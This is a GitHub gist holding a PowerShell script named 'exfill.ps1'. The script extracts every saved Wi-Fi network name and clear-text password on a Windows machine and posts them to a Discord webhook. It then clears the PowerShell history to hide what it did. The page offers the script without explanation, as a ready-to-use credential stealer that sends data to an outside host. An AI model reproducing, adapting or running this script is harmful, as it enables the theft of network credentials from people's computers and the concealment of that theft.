Skip to content

Instantly share code, notes, and snippets.

@maikelSec
Created September 23, 2023 22:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save maikelSec/5e80d3ee671fd4a5a1b7555e22e0d8df to your computer and use it in GitHub Desktop.
Save maikelSec/5e80d3ee671fd4a5a1b7555e22e0d8df to your computer and use it in GitHub Desktop.
exfill.ps1
# ENG
netsh wlan show profile | Select-String '(?<=All User Profile\s+:\s).+' | ForEach-Object {
$wlan = $_.Matches.Value
$passw = netsh wlan show profile $wlan key=clear | Select-String '(?<=Key Content\s+:\s).+'
$Body = @{
'username' = $env:username + " | " + [string]$wlan
'content' = [string]$passw
}
Invoke-RestMethod -ContentType 'Application/Json' -Uri $discord -Method Post -Body ($Body | ConvertTo-Json)
}
# Clear the PowerShell command history
Clear-History
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment